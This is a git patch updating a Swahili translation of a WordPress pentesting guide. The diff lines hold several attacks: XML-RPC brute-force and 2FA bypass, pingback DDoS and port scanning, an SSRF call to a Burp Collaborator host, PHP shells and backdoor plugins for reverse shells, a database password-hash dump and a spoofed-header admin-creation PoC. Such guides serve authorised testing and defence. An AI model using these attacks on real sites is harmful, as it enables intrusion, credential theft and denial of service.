From c364f169ae99c04f126b681164771e864be51188 Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 4 Oct 2025 09:53:36 +0000 Subject: [PATCH] Translated ['', 'src/welcome/hacktricks-values-and-faq.md', 'src/network --- .../pentesting-web/wordpress.md | 558 +++++++++++------- src/welcome/hacktricks-values-and-faq.md | 106 ++-- 2 files changed, 405 insertions(+), 259 deletions(-) diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index 9219ebfdb..d0503929f 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -4,33 +4,33 @@ ## Taarifa za Msingi -- **Uploaded** faili zinaenda kwa: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **Files za theme zinaweza kupatikana katika /wp-content/themes/,** hivyo ukibadilisha php ya theme ili kupata RCE huenda utatumia path hiyo. Kwa mfano: Kwa kutumia **theme twentytwelve** unaweza **kupata** faili **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **Faili zilizopakiwa** huenda kwa: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` +- **Faili za theme zinaweza kupatikana katika /wp-content/themes/,** hivyo ukibadilisha php ya theme ili kupata RCE labda utatumia path hiyo. Kwa mfano: Kwa kutumia **theme twentytwelve** unaweza **kupata** faili ya **404.php** katika: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- **URL nyingine yenye msaada inaweza kuwa:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **URL nyingine yenye manufaa inaweza kuwa:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) -- Katika **wp-config.php** unaweza kupata root password ya database. -- Njia za kawaida za kuingia za kukagua: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ +- Katika **wp-config.php** unaweza kupata nenosiri la root la database. +- Njia za kuingia za default za kuangalia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_ -### **Faili Muhimu za WordPress** +### **Main WordPress Files** - `index.php` -- `license.txt` ina taarifa muhimu kama toleo la WordPress lililosakinishwa. -- `wp-activate.php` inatumika kwa mchakato wa uanzishaji wa email wakati wa kusanidi tovuti mpya ya WordPress. -- Folda za login (zinaweza kubadilishwa jina ili kuzificha): +- `license.txt` ina taarifa muhimu kama toleo la WordPress lililosanidiwa. +- `wp-activate.php` inatumika kwa mchakato wa uanzishaji wa barua pepe wakati wa kuweka tovuti mpya ya WordPress. +- Folda za login (zinaweza kubadilishwa jina ili kuficha): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` - `/login.php` - `/wp-login.php` -- `xmlrpc.php` ni faili inayoonyesha kipengele cha WordPress kinachowawezesha data kutumwa kwa HTTP kama njia ya usafirishaji na XML kama njia ya kubandika. Aina hii ya mawasiliano imebadilishwa na WordPress [REST API](https://developer.wordpress.org/rest-api/reference). -- Folda ya `wp-content` ni saraka kuu ambapo plugins na themes zimehifadhiwa. -- `wp-content/uploads/` ni saraka ambapo faili zote zilizopakiwa kwenye jukwaa zinahifadhiwa. -- `wp-includes/` ni saraka ambayo faili za msingi zinahifadhiwa, kama certificates, fonts, faili za JavaScript, na widgets. -- `wp-sitemap.xml` Katika versions za WordPress 5.5 na zaidi, WordPress inazalisha faili ya sitemap XML yenye machapisho yote ya umma na aina za machapisho na taxonomies zinazoweza kuulizwa kwa umma. +- `xmlrpc.php` ni faili inayowakilisha kipengele cha WordPress kinachoruhusu data kutumwa kutumia HTTP kama njia ya usafirishaji na XML kama mbinu ya enkoding. Aina hii ya mawasiliano imebadilishwa na WordPress [REST API](https://developer.wordpress.org/rest-api/reference). +- Folda ya `wp-content` ni saraka kuu ambapo plugins na themes zinahifadhiwa. +- `wp-content/uploads/` Ni saraka ambayo faili zote zinazopakiwa kwenye jukwaa zinalindwa. +- `wp-includes/` Hii ni saraka ambapo faili za kernel zinahifadhiwa, kama certificates, fonts, faili za JavaScript, na widgets. +- `wp-sitemap.xml` Katika matoleo ya WordPress 5.5 na zaidi, WordPress huzalisha faili ya sitemap XML yenye machapisho yote ya umma na aina za post na taxonomies zinazoweza kuhojiwa hadharani. **Post exploitation** -- Faili ya `wp-config.php` ina taarifa zinazohitajika na WordPress kuunganishwa na database kama jina la database, database host, username na password, authentication keys na salts, na prefix ya jedwali la database. Faili hii ya usanidi pia inaweza kutumika kuwasha DEBUG mode, ambayo inaweza kuwa ya msaada katika kutatua matatizo. +- Faili ya `wp-config.php` ina taarifa zinazohitajika na WordPress kuunganishwa na database kama jina la database, database host, username na password, authentication keys and salts, na prefix ya jedwali la database. Faili hii ya configuration pia inaweza kutumika kuwasha DEBUG mode, ambayo inaweza kusaidia katika kutatua matatizo. ### Ruhusa za Watumiaji @@ -42,11 +42,11 @@ ## **Passive Enumeration** -### **Pata toleo la WordPress** +### **Get WordPress version** Angalia kama unaweza kupata faili `/license.txt` au `/readme.html` -Ndani ya **source code** ya ukurasa (mfano kutoka kwa [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): +Ndani ya **msimbo wa chanzo** wa ukurasa (mfano kutoka [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)): - grep ```bash @@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress' ![](<../../images/image (1111).png>) -- Mafaili ya link za CSS +- Faili za viungo vya CSS ![](<../../images/image (533).png>) -- Mafaili ya JavaScript +- Faili za JavaScript ![](<../../images/image (524).png>) @@ -77,19 +77,19 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## Uorodheshaji hai +## Uorodhesaji hai ### Plugins and Themes -Huenda hautaweza kupata Plugins and Themes zote zinazowezekana. Ili kugundua zote, utahitaji **actively Brute Force a list of Plugins and Themes** (kwa bahati nzuri kwetu kuna zana za kiotomatiki zinazojumuisha orodha hizi). +Labda hautaweza kupata Plugins na Themes zote zinazowezekana. Ili kugundua zote, utahitaji **Brute Force kwa vitendo orodha ya Plugins na Themes** (kwa bahati nzuri kwetu zipo zana za kiotomatiki ambazo zina orodha hizi). ### Watumiaji -- **ID Brute:** Unapata watumiaji halali kutoka kwenye tovuti ya WordPress kwa Brute Forcing users IDs: +- **ID Brute:** Unapata watumiaji halali kutoka kwenye tovuti ya WordPress kwa Brute Forcing IDs za watumiaji: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` -Kama majibu ni **200** au **30X**, hiyo ina maana id ni **halali**. Ikiwa jibu ni **400**, basi id ni **batili**. +Ikiwa majibu ni **200** au **30X**, hiyo ina maana kwamba id ni **halali**. Ikiwa jibu ni **400**, basi id si **halali**. - **wp-json:** Unaweza pia kujaribu kupata taarifa kuhusu watumiaji kwa kuuliza: ```bash @@ -99,17 +99,17 @@ Endpoint nyingine ya `/wp-json/` ambayo inaweza kufichua baadhi ya taarifa kuhus ```bash curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` -Kumbuka kuwa endpoint hii inaonyesha tu watumiaji waliotengeneza chapisho. **Taarifa zitolewazo ni za watumiaji tu ambao kipengele hiki kimewezeshwa**. +Kumbuka kuwa endpoint hii inaonyesha tu watumiaji waliofanya chapisho. **Taarifa tu kuhusu watumiaji ambao wamewezeshwa na kipengele hiki ndizo zitatolewa**. Pia kumbuka kwamba **/wp-json/wp/v2/pages** inaweza leak anwani za IP. -- **Login username enumeration**: Unapojaribu kuingia kwenye **`/wp-login.php`** **ujumbe** hutofautiana — unaonyesha kama **username** ipo au la. +- **Login username enumeration**: Unapojaribu kuingia kwenye **`/wp-login.php`**, **ujumbe** ni **tofauti** ikionyesha kama **jina la mtumiaji lipo au halipo**. ### XML-RPC -Ikiwa `xml-rpc.php` ni active unaweza kufanya credentials brute-force au kuitumia kuzindua DoS attacks dhidi ya rasilimali nyingine. (Unaweza otomatisha mchakato huu[ using this](https://github.com/relarizky/wpxploit) kwa mfano). +Ikiwa `xml-rpc.php` iko hai unaweza kufanya credentials brute-force au kuitumia kuanzisha DoS attacks kwa rasilimali nyingine. (Unaweza ku-automate mchakato huu[ using this](https://github.com/relarizky/wpxploit) kwa mfano). -Ili kuona ikiwa imewekwa active jaribu kufikia _**/xmlrpc.php**_ na tuma ombi hili: +To see if it is active try to access to _**/xmlrpc.php**_ and send this request: **Angalia** ```html @@ -122,7 +122,7 @@ Ili kuona ikiwa imewekwa active jaribu kufikia _**/xmlrpc.php**_ na tuma ombi hi **Credentials Bruteforce** -**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kwa brute-force credentials. Ikiwa unaweza kupata yoyote kati yao unaweza kutuma kitu kama: +**`wp.getUserBlogs`**, **`wp.getCategories`** au **`metaWeblog.getUsersBlogs`** ni baadhi ya mbinu zinazoweza kutumika kufanya brute-force credentials. Ikiwa unaweza kupata yoyote yao, unaweza kutuma kitu kama: ```html wp.getUsersBlogs @@ -132,13 +132,13 @@ Ili kuona ikiwa imewekwa active jaribu kufikia _**/xmlrpc.php**_ na tuma ombi hi ``` -Ujumbe _"Jina la mtumiaji au nenosiri si sahihi"_ ndani ya jibu la code 200 unapaswa kuonekana ikiwa maelezo ya kuingia si sahihi. +Ujumbe _"Jina la mtumiaji au nenosiri si sahihi"_ ndani ya response ya code 200 unapaswa kuonekana ikiwa credentials sio halali. ![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>) ![](<../../images/image (721).png>) -Kwa kutumia maelezo ya kuingia sahihi unaweza kupakia faili. Katika jibu njia itaonekana ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) +Kwa kutumia credentials sahihi unaweza kupakia faili. Katika response njia itaonekana ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982)) ```html @@ -168,18 +168,18 @@ Kwa kutumia maelezo ya kuingia sahihi unaweza kupakia faili. Katika jibu njia it ``` -Pia kuna njia **haraka zaidi** ya brute-force credentials kwa kutumia **`system.multicall`**, kwani unaweza kujaribu credentials kadhaa katika ombi moja: +Pia kuna **njia ya haraka** ya kufanya brute-force ya jina la mtumiaji na nywila kwa kutumia **`system.multicall`**, kwani unaweza kujaribu vigezo vingi kwenye ombi moja:
**Bypass 2FA** -Mbinu hii imekusudiwa kwa programu na si kwa watu, na ni ya zamani, hivyo haiungi mkono 2FA. Kwa hivyo, kama una creds halali lakini lango kuu limehifadhiwa kwa 2FA, **unaweza kuweza kutumia xmlrpc.php kuingia na hayo creds ukiepuka 2FA**. Kumbuka hautaweza kufanya vitendo vyote unavyoweza kupitia console, lakini bado unaweza kufikia RCE kama Ippsec anavyoeleza katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) +Njia hii imelengwa kwa programu, si kwa watu, na ni ya zamani; kwa hiyo haiungi mkono 2FA. Hivyo, ikiwa una creds halali lakini mlango mkuu umehifadhiwa na 2FA, **inawezekana utaweza kutumia xmlrpc.php kuingia kwa kutumia creds hizo ukiepuka 2FA**. Kumbuka hautaweza kutekeleza vitendo vyote unavyoweza kupitia console, lakini bado unaweza kufikia RCE kama Ippsec anavyoelezea katika [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) -**DDoS au port scanning** +**DDoS or port scanning** Ikiwa unaweza kupata method _**pingback.ping**_ ndani ya orodha unaweza kufanya Wordpress itume ombi lolote kwa host/port yoyote.\ -Hii inaweza kutumika kuomba **maelfu** ya Wordpress **sites** ziweze **access** eneo moja (hivyo kusababisha **DDoS** katika eneo hilo) au unaweza kuitumia kufanya **Wordpress** scan baadhi ya mtandao wa ndani (unaweza kuonyesha port yoyote). +Hii inaweza kutumika kuagiza **maelfu** za Wordpress **tovuti** **kuingia** eneo moja (hivyo kusababisha **DDoS** katika eneo hilo) au unaweza kuitumia kufanya **Wordpress** ili **scan** baadhi ya mitandao ya ndani (unaweza kubainisha bandari yoyote). ```html pingback.ping @@ -191,9 +191,9 @@ Hii inaweza kutumika kuomba **maelfu** ya Wordpress **sites** ziweze **access** ``` ![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png) -Ikiwa unapokea **faultCode** yenye thamani **kubwa kuliko** **0** (17), ina maana port iko wazi. +Ikiwa unapata **faultCode** yenye thamani **kubwa kuliko** **0** (17), ina maana bandari iko wazi. -Angalia matumizi ya **`system.multicall`** katika sehemu iliyopita ili ujifunze jinsi ya kutumia vibaya njia hii kusababisha DDoS. +Angalia matumizi ya **`system.multicall`** katika sehemu ya awali ili kujifunza jinsi ya kutumia vibaya njia hii kusababisha DDoS. **DDoS** ```html @@ -209,15 +209,15 @@ Angalia matumizi ya **`system.multicall`** katika sehemu iliyopita ili ujifunze ### wp-cron.php DoS -Faili hii kawaida huwa kwenye mzizi wa tovuti ya Wordpress: **`/wp-cron.php`**\ -Wakati faili hii inapo **accessed** hufanywa "**heavy**" MySQL **query**, hivyo inaweza kutumika na **attackers** kusababisha **DoS**.\ -Zaidi ya hayo, kwa default, `wp-cron.php` huwa inaitwa kila upakiaji wa ukurasa (wakati wowote client anapohitaji ukurasa wowote wa Wordpress), ambayo katika tovuti zenye trafiki kubwa inaweza kusababisha matatizo (DoS). +Faili hii kawaida hupatikana chini ya mizizi ya tovuti ya Wordpress: **`/wp-cron.php`**\ +Wakati faili hii inapofikiwa hufanywa MySQL **query** ya **"nzito"**, hivyo inaweza kutumiwa na **attackers** **kusababisha** **DoS**.\ +Pia, kwa chaguo-msingi, `wp-cron.php` huitwa kila inapopakiwa ukurasa (wakati wowote mteja anapoomba ukurasa wowote wa Wordpress), jambo ambalo kwenye tovuti zenye trafiki kubwa linaweza kusababisha matatizo (DoS). -Inapendekezwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya host inayotekeleza vitendo vinavyohitajika kwa vipindi vya kawaida (bila kusababisha matatizo). +Inashauriwa kuzima Wp-Cron na kuunda cronjob halisi ndani ya seva itakayotekeleza vitendo vinavyohitajika kwa vipindi vya kawaida (bila kusababisha matatizo). ### /wp-json/oembed/1.0/proxy - SSRF -Jaribu kufikia _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ na Worpress site inaweza kutuma ombi kwako. +Jaribu kufikia _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ na tovuti ya Worpress inaweza kutuma ombi kwako. This is the response when it doesn't work: @@ -230,7 +230,7 @@ This is the response when it doesn't work: https://github.com/t0gu/quickpress/blob/master/core/requests.go {{#endref}} -Zana hii huangalia kama **methodName: pingback.ping** na kwa path **/wp-json/oembed/1.0/proxy** na ikiwa ipo, inajaribu ku-exploit yao. +Chombo hiki hukagua kama **methodName: pingback.ping** ipo na kama path **/wp-json/oembed/1.0/proxy** upo; ikiwa zipo, kinajaribu kuzitumia (exploit). ## Zana za Kiotomatiki ```bash @@ -238,16 +238,16 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6 wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs) #You can try to bruteforce the admin user using wpscan with "-U admin" ``` -## Kupata ufikiaji kwa kubadilisha bit +## Pata ufikiaji kwa kubadilisha biti -Hii ni zaidi ya shambulio halisi; ni jambo la udadisi. Katika CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man] unaweza kubadilisha bit 1 kutoka kwenye faili yoyote ya wordpress. Kwa hivyo unaweza kubadili nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili kuifanya operesheni ya NOT (`!`) kuwa NOP. +Zaidi ya kuwa shambulio la kweli, hili ni udadisi. Katika CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) unaweza kubadilisha biti 1 kutoka kwa faili yoyote ya wordpress. Kwa hivyo unaweza kubadilisha nafasi `5389` ya faili `/var/www/html/wp-includes/user.php` ili kufanya operesheni ya NOT (`!`) kuwa NOP. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( ``` -## **RCE ya Paneli** +## **Paneli RCE** -**Badilisha php kutoka kwenye theme inayotumika (inahitaji admin credentials)** +**Kurekebisha php kutoka kwenye theme inayotumika (inahitaji kredensiali za admin)** Appearance → Theme Editor → 404 Template (kwa upande wa kulia) @@ -255,7 +255,7 @@ Badilisha yaliyomo kwa php shell: ![](<../../images/image (384).png>) -Tafuta kwenye intaneti jinsi unavyoweza kufikia ukurasa huo uliosasishwa. Katika kesi hii lazima utembelee hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +Tafuta mtandaoni jinsi unaweza kufikia ukurasa uliosasishwa. Katika kesi hii, unapaswa kufikia hapa: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) ### MSF @@ -270,7 +270,7 @@ kupata session. ### PHP plugin Inawezekana kupakia .php files kama plugin.\ -Tengeneza php backdoor yako kwa kutumia, kwa mfano: +Tengeneza php backdoor yako kwa mfano: ![](<../../images/image (183).png>) @@ -286,44 +286,44 @@ Bonyeza Procced: ![](<../../images/image (70).png>) -Inaonekana hii haitafanya chochote, lakini ukichagua Media, utaona shell yako imepakiwa: +Inawezekana hili halitaonekana kufanya chochote, lakini ukitembelea Media, utaona shell yako imepakwa: ![](<../../images/image (462).png>) -Fikia faili hiyo na utaona URL ya kutekeleza reverse shell: +Ifikie na utaona URL ya kuendesha reverse shell: ![](<../../images/image (1006).png>) -### Kupakia na kuamsha plugin hatari +### Uploading and activating malicious plugin -Njia hii inahusisha usakinishaji wa plugin hatari inayojulikana kuwa na udhaifu na inaweza kutumika kupata web shell. Mchakato huu unafanywa kupitia WordPress dashboard kama ifuatavyo: +Njia hii inahusisha usakinishaji wa plugin yenye madhara inayojulikana kuwa na udhaifu na inaweza kutumika kupata web shell. Mchakato huu unafanywa kupitia WordPress dashboard kama ifuatavyo: -1. **Plugin Acquisition**: Plugin hupatikana kutoka chanzo kama Exploit DB kama [**here**](https://www.exploit-db.com/exploits/36374). +1. **Plugin Acquisition**: Plugin hupatikana kutoka chanzo kama Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374). 2. **Plugin Installation**: -- Nenda kwenye WordPress dashboard, kisha nenda `Dashboard > Plugins > Upload Plugin`. -- Upload zip file ya plugin uliopakua. -3. **Plugin Activation**: Mara plugin inapowekwa kwa mafanikio, lazima iamshwe kupitia dashboard. +- Nenda kwenye WordPress dashboard, kisha nenda kwa `Dashboard > Plugins > Upload Plugin`. +- Pakia faili la zip la plugin ulilopakua. +3. **Plugin Activation**: Mara plugin itakapowekwa kwa mafanikio, lazima iwe imewezeshwa kupitia dashboard. 4. **Exploitation**: -- Ukiwa na plugin "reflex-gallery" imewekwa na kuiamsha, inaweza kutumika kwa sababu inajulikana kuwa na udhaifu. -- Metasploit framework inatoa exploit kwa udhaifu huu. Kwa kupakia module inayofaa na kutekeleza amri maalum, session ya meterpreter inaweza kuanzishwa, ikitoa ufikaji usioidhinishwa kwenye tovuti. -- Inafahamika kuwa hii ni mojawapo tu ya njia nyingi za kutumia udhaifu kwenye tovuti ya WordPress. +- Ukiwa na plugin "reflex-gallery" imewekwa na imewezeshwa, inaweza kutumika kwani inajulikana kuwa na udhaifu. +- Metasploit framework inatoa exploit kwa udhaifu huu. Kwa kupakia module inayofaa na kutekeleza amri maalum, meterpreter session inaweza kuanzishwa, ikitoa ufikiaji usioidhinishwa kwenye tovuti. +- Imetajwa kwamba hii ni mojawapo ya njia nyingi za kutumia udhaifu wa tovuti ya WordPress. -Yaliyomo yanajumuisha msaada wa kuona unaoonyesha hatua kwenye WordPress dashboard za kusakinisha na kuamsha plugin. Hata hivyo, ni muhimu kutambua kwamba kutumia udhaifu kwa njia hii ni kinyume cha sheria na haifuli maadili bila ruhusa sahihi. Taarifa hizi zitatumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama pentesting na idhini wazi. +Yaliyomo yanajumuisha picha zinazoonyesha hatua kwenye WordPress dashboard za kusakinisha na kuamsha plugin. Hata hivyo, ni muhimu kutambua kwamba kutumia udhaifu kwa njia hii ni kinyume cha sheria na haifai bila idhini sahihi. Taarifa hizi zinapaswa kutumika kwa uwajibikaji na tu katika muktadha wa kisheria, kama penetration testing na idhini wazi. **For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) -## Kutoka XSS hadi RCE +## From XSS to RCE -- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuinua udhaifu wa **Cross-Site Scripting (XSS)** hadi **Remote Code Execution (RCE)** au udhaifu mwingine wa hatari katika WordPress. Kwa habari zaidi angalia [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** -- _**Privilege Escalation:**_ Inaunda user katika WordPress. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload custom plugin yako (backdoor) kwenye WordPress. +- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ ni script iliyoundwa kuinua uvujaji wa **Cross-Site Scripting (XSS)** hadi **Remote Code Execution (RCE)** au udhaifu mwingine mzito katika WordPress. Kwa habari zaidi angalia [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:** +- _**Privilege Escalation:**_ Huunda mtumiaji ndani ya WordPress. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ Pakia custom plugin yako (backdoor) kwenye WordPress. - _**(RCE) Built-In Plugin Edit:**_ Hariri Built-In Plugins katika WordPress. - _**(RCE) Built-In Theme Edit:**_ Hariri Built-In Themes katika WordPress. - _**(Custom) Custom Exploits:**_ Custom Exploits kwa Third-Party WordPress Plugins/Themes. ## Post Exploitation -Toa majina ya watumiaji na nywila: +Chukua majina ya watumiaji na nywila: ```bash mysql -u --password= -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;" ``` @@ -333,27 +333,27 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ``` ## Wordpress Plugins Pentest -### Attack Surface +### Uso wa Mashambulizi -Kujua jinsi plugin ya Wordpress inaweza kuonyesha functionality ni muhimu ili kupata vulnerabilities kwenye kazi zake. Unaweza kuona jinsi plugin inaweza kuonyesha functionality katika vidokezo vifuatavyo na baadhi ya mifano ya plugins zilizo na udhaifu katika [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). +Kujua jinsi plugin ya Wordpress inaweza kuweka wazi utendakazi ni muhimu ili kupata udhaifu katika utendakazi wake. Unaweza kuona jinsi plugin inaweza kuweka wazi utendakazi katika pointi zifuatazo na baadhi ya mifano ya plugins zilizo na udhaifu katika [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/). - **`wp_ajax`** -Moja ya njia ambazo plugin inaweza kuonyesha functions kwa watumiaji ni kupitia AJAX handlers. Hizi zinaweza kuwa na bug za logic, authorization, au authentication. Zaidi ya hayo, mara nyingi functions hizi zinategemea authentication na authorization kwa kuwepo kwa wordpress nonce ambayo **mtumiaji yeyote aliye authenticated katika instance ya Wordpress anaweza kuwa nayo** (bila kujali role yake). +Moja ya njia plugin inaweza kufichua functions kwa watumiaji ni kupitia AJAX handlers. Hizi zinaweza kuwa na bugs za logic, authorization, au authentication. Aidha, mara nyingi functions hizi zitategemea authentication na authorization kwa kuwepo kwa wordpress nonce ambayo **mtumiaji yeyote aliye-authenticated kwenye instance ya Wordpress anaweza kuwa nayo** (hata bila kuzingatia jukumu lake). -These are the functions that can be used to expose a function in a plugin: +Hizi ni functions ambazo zinaweza kutumika kufichua function katika plugin: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); ``` -**Matumizi ya `nopriv` hufanya endpoint ipatikane kwa watumiaji wote (hata wale wasiothibitishwa).** +**Matumizi ya `nopriv` hufanya endpoint ipatikane kwa watumiaji wote (hata wasiothibitishwa).** > [!CAUTION] -> Zaidi ya hayo, ikiwa function inacheki tu idhini ya mtumiaji kwa kutumia `wp_verify_nonce`, function hii inabaini tu kwamba mtumiaji ameingia katika mfumo; kawaida haicheki jukumu (role) la mtumiaji. Kwa hivyo watumiaji wenye vibali vidogo wanaweza kupata ufikiaji wa vitendo vyenye vibali vya juu. +> Zaidi ya hayo, ikiwa function inachunguza tu idhini ya mtumiaji kwa kutumia `wp_verify_nonce`, function hii inabaini tu kwamba mtumiaji ameingia; kwa kawaida haitambui jukumu la mtumiaji. Kwa hivyo watumiaji wenye ruhusa ndogo wanaweza kufanya vitendo vinavyohitaji ruhusa za juu. - **REST API** -Inawezekana pia kufichua functions kutoka wordpress kwa kusajili REST API kwa kutumia function `register_rest_route`: +Pia inawezekana kufunua functions kutoka wordpress kwa kusajili REST API kwa kutumia function `register_rest_route`: ```php register_rest_route( $this->namespace, '/get/', array( @@ -363,21 +363,21 @@ $this->namespace, '/get/', array( ) ); ``` -The `permission_callback` ni callback ya function inayokagua kama mtumiaji fulani ameidhinishwa kuita wito wa method ya API. +The `permission_callback` ni callback kwa function inayothibitisha ikiwa mtumiaji fulani ameidhinishwa kuita API method. -**Ikiwa function ya built-in `__return_true` itatumika, itapuuza ukaguzi wa ruhusa za mtumiaji.** +**Ikiwa function iliyojengwa ndani `__return_true` itatumika, itapita tu ukaguzi wa ruhusa za mtumiaji.** -- **Direct access to the php file** +- **Ufikiaji wa moja kwa moja wa faili ya php** -Bila shaka, Wordpress inatumia PHP na faili ndani ya plugins zinaweza kupatikana moja kwa moja kutoka kwenye web. Hivyo, ikiwa plugin inaonyesha functionality yoyote yenye udhaifu ambayo inachochewa kwa kuingilia tu faili, itakuwa inaweza kutumika na mtumiaji yeyote. +Kama kawaida, Wordpress inatumia PHP na faili ndani ya plugin zinaweza kupatikana moja kwa moja kupitia wavuti. Kwa hivyo, ikiwa plugin inafichua utendaji wenye udhaifu unaozinduliwa kwa kuingia tu kwenye faili, mtumiaji yeyote ataweza kuutumia. ### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1) -Baadhi ya plugins hutekeleza “trusted header” shortcuts kwa ajili ya internal integrations au reverse proxies na kisha hutumia header hiyo kuweka muktadha wa mtumiaji wa sasa kwa REST requests. Ikiwa header hiyo haijafungamanishwa kwa cryptographically kwenye request na sehemu ya upstream, mshambuliaji anaweza ku-spoof na kufikia privileged REST routes kama administrator. +Baadhi ya plugins zinafanya “trusted header” shortcuts kwa ajili ya internal integrations au reverse proxies na kisha hutumia header hiyo kuweka muktadha wa mtumiaji wa sasa kwa maombi ya REST. Ikiwa header haitafungwi cryptographically na sehemu ya juu (upstream component), mshambuliaji anaweza kuiga (spoof) na kufikia routes za REST zenye ruhusa kama administrator. -- Impact: kuongezeka kwa privilage bila uthibitisho hadi admin kwa kuunda administrator mpya kupitia core users REST route. -- Example header: `X-Wcpay-Platform-Checkout-User: 1` (inalazimisha user ID 1, kawaida akaunti ya kwanza ya administrator). -- Exploited route: `POST /wp-json/wp/v2/users` na array ya role iliyoinuliwa. +- Athari: kuinuka kwa mamlaka bila uthibitisho hadi admin kwa kuunda msimamizi mpya kupitia core users REST route. +- Example header: `X-Wcpay-Platform-Checkout-User: 1` (inafanya user ID 1, kawaida akaunti ya msimamizi wa kwanza). +- Exploited route: `POST /wp-json/wp/v2/users` kwa role array yenye ruhusa za juu. PoC ```http @@ -393,38 +393,29 @@ Content-Length: 114 ``` Kwa nini inafanya kazi -- Plugin inamezea header inayodhibitiwa na mteja kwa hali ya authentication na inaruka ukaguzi wa capabilities. -- WordPress core inatarajia capability ya `create_users` kwa route hii; plugin hack inaitwepuka kwa kuweka moja kwa moja context ya current user kutoka kwa header. +- Plugin inaweka header inayodhibitiwa na mteja kwenye authentication state na inaruka capability checks. +- WordPress core inatarajia `create_users` capability kwa route hii; hack ya plugin inaitikisa kwa kuweka moja kwa moja current user context kutoka kwenye header. -Viuashiria vya mafanikio yanayotarajiwa +Viashiria vya mafanikio vinavyotarajiwa -- HTTP 201 na body ya JSON inayoelezea user iliyoundwa. -- Admin user mpya inaonekana katika `wp-admin/users.php`. +- HTTP 201 na mwili wa JSON unaelezea user iliyoundwa. +- Mtumiaji mpya wa admin unaoonekana katika `wp-admin/users.php`. -Orodha ya ukaguzi wa kugundua +Orodha ya kugundua -- Grep kwa `getallheaders()`, `$_SERVER['HTTP_...']`, au vendor 